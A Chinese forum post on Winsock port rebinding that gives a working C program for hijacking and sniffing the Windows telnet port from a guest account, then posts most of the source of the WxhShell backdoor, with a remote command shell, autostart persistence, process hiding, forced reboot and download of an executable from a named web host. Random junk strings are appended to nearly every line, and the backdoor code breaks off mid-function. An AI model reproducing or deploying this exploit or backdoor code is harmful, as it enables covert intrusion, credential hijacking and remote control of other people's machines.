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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: o?8j *]  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); N=x,96CF  
}Ec"&  
  saddr.sin_family = AF_INET; lK@r?w|<M  
'*.};t~;"d  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); JYU Ks~Qt  
*xKR;?.  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); t":>O0>cz  
-^N '18:  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 %"B$I>h  
^el:)$  
  这意味着什么?意味着可以进行如下的攻击: Pk2 "\y@q/  
:/Zh[Q@EG  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 NE nP3A  
x&p=vUuukP  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) |%9~W^b  
[a6lE"yr  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3F3?be  
>0$5H]1u  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  L1+cv;t  
p gi7 JQ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 pYQs|5d  
sIM`Q%  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 XRin~wz|S  
;^]F~x}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 SS-   
}DwXs`M7  
  #include Q5ao2-\   
  #include s#sX r  
  #include )E|Bb=%  
  #include    >X,6  
  DWORD WINAPI ClientThread(LPVOID lpParam);   \NRRN eu|  
  int main() % M:"Ai5:  
  { JJO"\^,;~  
  WORD wVersionRequested; nV1, ):kh  
  DWORD ret; dD!SgK[Jv  
  WSADATA wsaData; N9Vcp~;  
  BOOL val; **[p{R]8o  
  SOCKADDR_IN saddr; b*7i&q'H  
  SOCKADDR_IN scaddr; =="SW"vNi  
  int err; uEY5&wX`  
  SOCKET s; ,;}RIcvQV  
  SOCKET sc; "b;?2_w:E  
  int caddsize; =cY]cPO  
  HANDLE mt; n9ih^H  
  DWORD tid;   H2p;J#cv@  
  wVersionRequested = MAKEWORD( 2, 2 ); q3t@)+l>*  
  err = WSAStartup( wVersionRequested, &wsaData ); uWQ.h ,  
  if ( err != 0 ) { p`0Tpgi  
  printf("error!WSAStartup failed!\n"); B7C6Mau  
  return -1; co|0s+%PBq  
  } N11am  
  saddr.sin_family = AF_INET; Orgje@c{  
   oKiu6=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &aU+6'+QXB  
8iB}a\]B  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); c=CXj3  
  saddr.sin_port = htons(23); OYkd?LN  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1OKJE(T  
  { L M[<?`%p  
  printf("error!socket failed!\n"); VB%xV   
  return -1; 0rj*SC_  
  } %8/$CR  
  val = TRUE; x(Z@ R\C-a  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 =>U~ligu  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 3m'6cMQ  
  { BDg /pDnwg  
  printf("error!setsockopt failed!\n"); G<I5%Yo6G  
  return -1; WJWrLu92\U  
  } NgQl;$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; w6tY6bf}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 A_+ WY|#M  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }#1{GhsS  
bBf+z7iyc  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) |m% &Qb  
  { g}7B0 yo  
  ret=GetLastError(); 0%GWc}o  
  printf("error!bind failed!\n"); s&l[GKR  
  return -1; fr7/%{s  
  } Y;WrfO$J  
  listen(s,2); Phczf  
  while(1) 'AoH2 |  
  { ( KrIMZ  
  caddsize = sizeof(scaddr); ~kga+H  
  //接受连接请求 f\JyN@w+  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); hV%l}6yS&  
  if(sc!=INVALID_SOCKET) _<$=n6#  
  { r_",E=e  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~*qGH  
  if(mt==NULL) g|oPRC$I'  
  { VI4d/2e  
  printf("Thread Creat Failed!\n"); R.7" ZG  
  break; J&?kezs  
  } S;C3R5*:  
  } gV c[`( @h  
  CloseHandle(mt); 0qv)'[O  
  } gDrqs>8  
  closesocket(s); Lv"83$^S9  
  WSACleanup(); e-WaK0Ep  
  return 0; )8_0d)  
  }   [ kknY+n1  
  DWORD WINAPI ClientThread(LPVOID lpParam) Ptg73Gm&R  
  { K:0RP?L  
  SOCKET ss = (SOCKET)lpParam; n.)-aRu[  
  SOCKET sc; "T'!cy  
  unsigned char buf[4096]; ?{n#j,v!  
  SOCKADDR_IN saddr; XpGom;z^c  
  long num; [O3R(`<e5  
  DWORD val; F^ f]*MhT"  
  DWORD ret; (0S"ZT  
  //如果是隐藏端口应用的话,可以在此处加一些判断 LImD]e`  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   sdY6_HtE  
  saddr.sin_family = AF_INET; !dGgLU_  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9D bp`%j  
  saddr.sin_port = htons(23); Kr<O7t0X  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6\bbP>ql  
  { x8H)m+AW  
  printf("error!socket failed!\n"); Hi9]M3Ub  
  return -1; l/]P6 @N  
  } Kfi A 7W  
  val = 100; -%A6eRShk  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &&JMw6 &[`  
  { F-nt7l  
  ret = GetLastError(); {"<Q?yA2y  
  return -1; 4-\a]"c  
  } C'Ymz`iQ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ` :2C9,Xu  
  { Vo\d&}Q  
  ret = GetLastError(); Gp14;  
  return -1; Av'H(qB\K  
  } 4DNZ y2`  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) I|.B-$gH  
  { ,W#y7 t  
  printf("error!socket connect failed!\n"); /xmd]XM=_  
  closesocket(sc); dZm{?\^_  
  closesocket(ss); !#r]f9QP  
  return -1; {Hb _o)S  
  } 4]cOTXk9C  
  while(1) jq[>PvR  
  { q/[)mr|~  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @cx!m   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 i55']7+0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 eRf 8'-"#-  
  num = recv(ss,buf,4096,0); +5Mx0s(5  
  if(num>0) w9 N Um  
  send(sc,buf,num,0); HdGy$m`  
  else if(num==0) ev; &$Hc  
  break; O&)Y3O1  
  num = recv(sc,buf,4096,0); 33; yt d  
  if(num>0) Nb$)YMbA  
  send(ss,buf,num,0); `1P &  
  else if(num==0) WN0^hDc-  
  break; m?csake.Me  
  } wiutUb Y  
  closesocket(ss); GVg0)}  
  closesocket(sc); X9P-fF?0  
  return 0 ; PBUc9/  
  } r1[0#5kJ;J  
2]7nw1&  
KT8Fn+  
========================================================== 4-TM3Cw`d&  
}SYvGp{J,  
下边附上一个代码,,WXhSHELL =IUTU4!]  
V'9 k;SF  
========================================================== 6PTD%Rf\  
:!R+/5a  
#include "stdafx.h" ,e;(\t:  
A_[65'*b  
#include <stdio.h> =.uE(L`]NA  
#include <string.h> }NUP[%  
#include <windows.h> 8T%z{A1T  
#include <winsock2.h> old}}>_  
#include <winsvc.h> +pE-Yn`YS  
#include <urlmon.h> O9qEKW)a  
vX{]_  
#pragma comment (lib, "Ws2_32.lib") $GcVC (]  
#pragma comment (lib, "urlmon.lib") lAoH@+dyA+  
DukCXyB*l  
#define MAX_USER   100 // 最大客户端连接数 ?(mlt"tPk  
#define BUF_SOCK   200 // sock buffer -O ej6sILO  
#define KEY_BUFF   255 // 输入 buffer ?&Lb6(}e  
/JvNJ f  
#define REBOOT     0   // 重启 kY*D s;  
#define SHUTDOWN   1   // 关机 Pp}j=$&j\  
LTi0,03l<  
#define DEF_PORT   5000 // 监听端口 X&K1>dgWP  
$FD0MrB_+  
#define REG_LEN     16   // 注册表键长度 N[AX29  
#define SVC_LEN     80   // NT服务名长度 . [C ~a  
xL mo?Y*  
// 从dll定义API fFsA[@5tul  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2"NJt9w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?gTY! ;$P  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -qs9a}iL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); c(@)V.o2  
E$RH+):|  
// wxhshell配置信息 xY@V.  
struct WSCFG { ,3x3&c  
  int ws_port;         // 监听端口 h'wI/Z_'  
  char ws_passstr[REG_LEN]; // 口令 %POoyH@D}  
  int ws_autoins;       // 安装标记, 1=yes 0=no t,&1~_9  
  char ws_regname[REG_LEN]; // 注册表键名 x ;kW }U  
  char ws_svcname[REG_LEN]; // 服务名 O7E0{8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 { c]y<q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 H1N%uk=kV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rR/PnVup  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >R :Bkf-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O[$ &]>x]]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8E|S`I  
`|I h"EZ  
}; Lg-Sxz}P!  
]81P<Y(7  
// default Wxhshell configuration 'b%S3)}  
struct WSCFG wscfg={DEF_PORT, h\jwXMi,tj  
    "xuhuanlingzhe", d?'q(6&H  
    1, XO219   
    "Wxhshell", YX- G>.Pc  
    "Wxhshell", *;Sj&O  
            "WxhShell Service", b1_HDC(  
    "Wrsky Windows CmdShell Service", *_@8v?  
    "Please Input Your Password: ", _},u[+  
  1, =`u4xa#m  
  "http://www.wrsky.com/wxhshell.exe", 10t9Qv/  
  "Wxhshell.exe" S)p1[&" M  
    }; 3s"x{mtH  
A=Dzd/CUO  
// 消息定义模块 HPT$)NeNc  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; GXf"a3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Eufw1vDa  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; u0\?aeg`  
char *msg_ws_ext="\n\rExit."; R{u/r%  
char *msg_ws_end="\n\rQuit."; }fdo Aid~  
char *msg_ws_boot="\n\rReboot..."; L-vy,[9)[*  
char *msg_ws_poff="\n\rShutdown..."; )nQA) uz  
char *msg_ws_down="\n\rSave to "; j#zUO&Q@  
P6@(nGgK<  
char *msg_ws_err="\n\rErr!"; !Yd7&#s  
char *msg_ws_ok="\n\rOK!"; !bRoNP  
?X~Keb  
char ExeFile[MAX_PATH]; 94\k++kc  
int nUser = 0; ?o?~Df&  
HANDLE handles[MAX_USER]; "1yXOy^2  
int OsIsNt; Fn1|Wt*  
J1KV?aR  
SERVICE_STATUS       serviceStatus; rISg`-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8 Zhx&  
}HRM6fR1S  
// 函数声明 a;8q7nC  
int Install(void); ~{/"fTif  
int Uninstall(void); r< sx On  
int DownloadFile(char *sURL, SOCKET wsh); |aIY  
int Boot(int flag); ,p {|f}0  
void HideProc(void); 9/'zk  
int GetOsVer(void); [AA'Ko  
int Wxhshell(SOCKET wsl); *`7cvt5]IM  
void TalkWithClient(void *cs); %dw@;IZ#8{  
int CmdShell(SOCKET sock); fIWOo >)D  
int StartFromService(void); x(ue |UG  
int StartWxhshell(LPSTR lpCmdLine); \c(R#*0,  
rI23e[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {d|e@`"T  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2guWWFS  
2M1}`H\  
// 数据结构和表定义 "Y-_83  
SERVICE_TABLE_ENTRY DispatchTable[] = Yi:@>A<#  
{ lpi^<LQ@l  
{wscfg.ws_svcname, NTServiceMain}, jv_z%`  
{NULL, NULL} Rf9;jwU  
}; m:_'r"o  
D;*P'%_Z  
// 自我安装 @|BaZq,g  
int Install(void) Po_y7 8ZD  
{ `o4alK\  
  char svExeFile[MAX_PATH]; ?%K7IJ%  
  HKEY key; VB=$D|Ll  
  strcpy(svExeFile,ExeFile); #6* j+SX^  
%PW_v~sg  
// 如果是win9x系统,修改注册表设为自启动 2)cq!Zv  
if(!OsIsNt) { bh V.uBH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]jQj/`v1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r~ N:|ip=  
  RegCloseKey(key); mqUn3F3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !g=4\C`mY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Jvac|rN  
  RegCloseKey(key); X"lPXoCN  
  return 0; 0&wbGbg(W  
    } )"KKBil0  
  } p(vmMWR!  
} )jc`_{PQg  
else { ,E ]vM&  
s aY;[bz}  
// 如果是NT以上系统,安装为系统服务 #$-{hg{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *5T^wZpj)  
if (schSCManager!=0) H;D 5)eJ90  
{ N=%4V  
  SC_HANDLE schService = CreateService ^6g^ Q*"  
  ( iX (<ozH  
  schSCManager, ZMa@/\pf1  
  wscfg.ws_svcname, d%?$UnQ  
  wscfg.ws_svcdisp, N5K\h}'%  
  SERVICE_ALL_ACCESS, X3mHg5zt  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , csK;GSp}  
  SERVICE_AUTO_START, ,y5,+:Y ~  
  SERVICE_ERROR_NORMAL, P-]u&m/6  
  svExeFile, :yFUlO:  
  NULL, -?%81 z.Qq  
  NULL, d0U-:S-  
  NULL, !DU4iq_.  
  NULL, -}:; EGUtd  
  NULL V)<Jj  
  ); p#;I4d G  
  if (schService!=0) }%) ]b*3  
  { @'IRh9  
  CloseServiceHandle(schService); 5TynAiSD_>  
  CloseServiceHandle(schSCManager); 1|bg;X9+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <b>g^ `}?D  
  strcat(svExeFile,wscfg.ws_svcname); + PAb+E|,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {#U 3A_y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W!jg  
  RegCloseKey(key); lf2Q  
  return 0; L*(Sh2=_  
    } H;w8[ImK  
  } FHOF 6}if  
  CloseServiceHandle(schSCManager); X iW~? *Z  
} X\Gbs=sf6  
} Gv\39+9 =  
i0q<,VSl$_  
return 1; lD9QS ;  
} 0Ba*"/U]t~  
SB x<-^  
// 自我卸载 ks19e>'5Q  
int Uninstall(void) (pv6V2i  
{ ,::f? Gc7j  
  HKEY key; (baBi9<P=  
e|1.-P@  
if(!OsIsNt) { Ah :d2*SR4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [ikW3 '99,  
  RegDeleteValue(key,wscfg.ws_regname); yt+d f0l  
  RegCloseKey(key); [x[ nTIg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u; G-46  
  RegDeleteValue(key,wscfg.ws_regname); 2QIx~Er  
  RegCloseKey(key); Ci9]#)"c  
  return 0; K3dg.>O  
  } WzhY4"p  
} 3Z_\.Z1R@  
}  -^ceTzW+  
else { +?9. &<?  
7 MZ(tOR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 328gTP1  
if (schSCManager!=0) CpLLsphy  
{ ;Z6ngS  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); B>r>z5  
  if (schService!=0) sD=iHO Am  
  { [cso$Tv  
  if(DeleteService(schService)!=0) { 6^vz+oN  
  CloseServiceHandle(schService); ~{cG"  
  CloseServiceHandle(schSCManager); b=PB"-  
  return 0; 1ir~WFP  
  } p N+1/m,  
  CloseServiceHandle(schService); y^:N^Gt  
  } ?s]+2Tq  
  CloseServiceHandle(schSCManager); H: rrY  
} / LC!|-1E  
} "30R%oL]=  
hqc)Ydg_%  
return 1; |C`.m |  
} H^fErl  
s;W1YN  
// 从指定url下载文件 L %20tm  
int DownloadFile(char *sURL, SOCKET wsh) GUcGu5tw:  
{ Q@ghQGn#  
  HRESULT hr; -izZ D  
char seps[]= "/"; VMl)_M:'  
char *token; 7El:$H  
char *file; v5A8"&Jr  
char myURL[MAX_PATH]; Nhrh>x[wJ  
char myFILE[MAX_PATH]; hZtJ LY  
1X-fiQJe  
strcpy(myURL,sURL); @+&QNI06S  
  token=strtok(myURL,seps); ? t_$C,A+  
  while(token!=NULL) :9]"4ktoJ  
  { 5Y#~+Im=[@  
    file=token; >5MHn@  
  token=strtok(NULL,seps); "JpnmE[`  
  } 9jf2b  
<sor;;T  
GetCurrentDirectory(MAX_PATH,myFILE); snvixbN  
strcat(myFILE, "\\"); u.ub:  
strcat(myFILE, file); h(gpq SN  
  send(wsh,myFILE,strlen(myFILE),0); mw fl x8  
send(wsh,"...",3,0); i1 ^#TC$x  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); QLDld[  
  if(hr==S_OK) V9/PkuT  
return 0; v%8S:3  
else ZIp"X  
return 1; z;1qYW[-A  
\9%RY]TK3  
} eUEO~M2&U{  
!g7bkA  
// 系统电源模块 0oPcZ""X]  
int Boot(int flag) b |JM4jgK  
{ ZnZ`/zNO  
  HANDLE hToken; S r4/8BZ  
  TOKEN_PRIVILEGES tkp; hZ~ \Z S7  
|.{[%OJP  
  if(OsIsNt) { ~9JLqN"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); HOb0\X  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 859ID8F  
    tkp.PrivilegeCount = 1; =*=qleC3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Zd <8c^@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (4"Azo*~![  
if(flag==REBOOT) { L9^h .Y7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V[fcP;   
  return 0; CAtdx!  
} TKrh3   
else { D)GD9MJ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) s^>1rV]=(`  
  return 0; KiYz]IM$4  
} m$H(l4wB>  
  }  IA{I|g<  
  else { 2 `nOYK  
if(flag==REBOOT) { -J(93@X 9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'Ej&zh  
  return 0; bFwc>  
} <,huajQs  
else { zOT(>1'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u 4$$0 `  
  return 0; egh_1Wg2a  
} ST25RJC  
} 0k 6S`e9gI  
_su$]s  
return 1; ]`u_d}`  
} KpSho<  
? yek\X  
// win9x进程隐藏模块 sY@x(qkIOc  
void HideProc(void) U9%#(T$  
{ &'A8R;b}-?  
G;yh$n<"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m\;@~o'k  
  if ( hKernel != NULL ) ?)mM]2%%  
  { k \V6 q9*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); IHStN,QD  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \iM  
    FreeLibrary(hKernel); P,ud"F=r  
  } d,*#yzO  
zqs|~W]c  
return; 25 m!Bf  
} > ?<C+ZHh  
WJF#+)P:Y  
// 获取操作系统版本 * v W#XDx  
int GetOsVer(void) V7q-Pfh!y  
{ )Y 9JP@}T  
  OSVERSIONINFO winfo; MrFi0G7u  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5@< D6>6  
  GetVersionEx(&winfo); Y=tx kN  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) U]W+ers  
  return 1; T Z_](%  
  else E'wJ+X9 +  
  return 0; :y8wv|m  
} TYN~c(  
jw$[b=sa  
// 客户端句柄模块 w//L2.  
int Wxhshell(SOCKET wsl) gbL!8Z1h  
{ LS{t7P9K  
  SOCKET wsh; 2}8xY:|@(U  
  struct sockaddr_in client; 3+d_5l;m)  
  DWORD myID; s6.#uT7h  
=#K$b *#  
  while(nUser<MAX_USER) `2.2; Vk  
{ oRQJ YH  
  int nSize=sizeof(client);  b@m\ca  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -3T~+  
  if(wsh==INVALID_SOCKET) return 1; Sz#dld Mz  
7-`iI(N<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /4lm=ZE/  
if(handles[nUser]==0) aEwwK(ny  
  closesocket(wsh); kCVA~ %d7  
else <yz&> +9,  
  nUser++; +c-?1j  
  } B?p18u$i#l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Yk!TQY4  
/ +9o?Kxya  
  return 0; YMfjTt@Q  
} \g<=n&S?  
W*/0[|n*  
// 关闭 socket J8:f9a:|M  
void CloseIt(SOCKET wsh) wR*>9LjeG  
{ 6im!v<1Qx  
closesocket(wsh); ~T'Ri=  
nUser--; bL"!z"NA  
ExitThread(0); 6|AD]/t^K  
} YH^h ?s  
mH\eJ  
// 客户端请求句柄 "JJEF2e@Z  
void TalkWithClient(void *cs) @EV*QC2l;Y  
{ e SlZAdK  
S=.7$PY  
  SOCKET wsh=(SOCKET)cs; *eb2()B%  
  char pwd[SVC_LEN]; [K4wd%+  
  char cmd[KEY_BUFF]; afNqK~  
char chr[1]; L] ce13K  
int i,j; }Rx`uRx\  
Ln C5"  
  while (nUser < MAX_USER) { %?WR 9}KU0  
i>}aQ:&^0  
if(wscfg.ws_passstr) { 8,m3]Lg  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %}0B7_6B+@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -T+7u  
  //ZeroMemory(pwd,KEY_BUFF); kjVJ!R\  
      i=0; =%+O.  
  while(i<SVC_LEN) { ()+PP}:$A  
]| PDsb"e  
  // 设置超时 By7? <A  
  fd_set FdRead; Fy8$'oc  
  struct timeval TimeOut; #FQkwX'g  
  FD_ZERO(&FdRead); !.}ZlA  
  FD_SET(wsh,&FdRead); QFYO_$1 Y)  
  TimeOut.tv_sec=8; r#;GVJR6  
  TimeOut.tv_usec=0; Obb"#W@3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); do>,ELS+m  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Yl#|+xYA5[  
jJOs`'~Q\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !0k'fYCa  
  pwd=chr[0]; +'f+0T\)  
  if(chr[0]==0xd || chr[0]==0xa) { ~qP_1() ?  
  pwd=0; nnol)|C{5Y  
  break; dqu+-43I|  
  } * c1)x  
  i++; Y!C8@B$MR3  
    } 4>I >y@^  
_I1:|y  
  // 如果是非法用户,关闭 socket yv2N5IQ>{V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?cRGdLP'D  
} b!J%s   
Sl7x>=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ZgD%*bH*B  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); swGp{wJ  
q*E<~!jL  
while(1) { xq<3*Bcw  
d$}z,~sN  
  ZeroMemory(cmd,KEY_BUFF); ~  WO  
Gi=s|vt  
      // 自动支持客户端 telnet标准   t6JM%  
  j=0; $ /p/9 -  
  while(j<KEY_BUFF) { k~,({T<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ! O~:  
  cmd[j]=chr[0]; Zl4X,9Wt  
  if(chr[0]==0xa || chr[0]==0xd) { |0Y: /uL#)  
  cmd[j]=0; VsJ4sb7  
  break; ZD(VH6<g%  
  } C ks;f6G  
  j++; tW)K pX  
    } yur5" $n  
6 J B"qd  
  // 下载文件 pSC\[%K  
  if(strstr(cmd,"http://")) { #FNSE*Y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); o,D7$WzL  
  if(DownloadFile(cmd,wsh)) <jwQ&fm)/R  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8uq`^l%KkZ  
  else W7PL]5y&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =}1)/gcM  
  } }#Gq*^w  
  else { EpsjaOmAF  
,^K}_z\9f  
    switch(cmd[0]) { 7XU$O$C  
  b$W~w*O   
  // 帮助 %&[=%zc  
  case '?': { #PJHwvr  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "z6 xS;  
    break; |3{"ANmm'  
  } WNmG'hlA  
  // 安装 &h<\jqN/  
  case 'i': { F).7%YfY  
    if(Install()) BGOajYD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uGW!~qAr*  
    else hq|I%>y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hzcSKRm  
    break; L%Mj{fJ>Wm  
    } \)'5V!B|s  
  // 卸载 FMNT0  
  case 'r': { `$oy4lDKQ  
    if(Uninstall()) p`I[3/$3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3[Xc:;+/  
    else 7]`l"=/z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JV`"kk/  
    break; uG){0%nX  
    } qOs'Ljx6l  
  // 显示 wxhshell 所在路径 ~cL)0/j}  
  case 'p': { \0,8?S  
    char svExeFile[MAX_PATH]; aT_%G&.  
    strcpy(svExeFile,"\n\r"); w}WfQj  
      strcat(svExeFile,ExeFile); =v:}{~M^$  
        send(wsh,svExeFile,strlen(svExeFile),0); kE`Fg(M  
    break; 8W"Xdv{  
    } \WPy9kRU  
  // 重启 gCL?{oVU  
  case 'b': { S\dG>F>S  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ya'Ma<4  
    if(Boot(REBOOT)) r"&uW !~0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b'1m 9T780  
    else { %+ : $uk[  
    closesocket(wsh); >*]dB|2  
    ExitThread(0); yE_T#FN  
    } UY}EW`$#m  
    break; ym;I(TC+  
    } qp{3I("_  
  // 关机 V M{Sng  
  case 'd': { JKY  
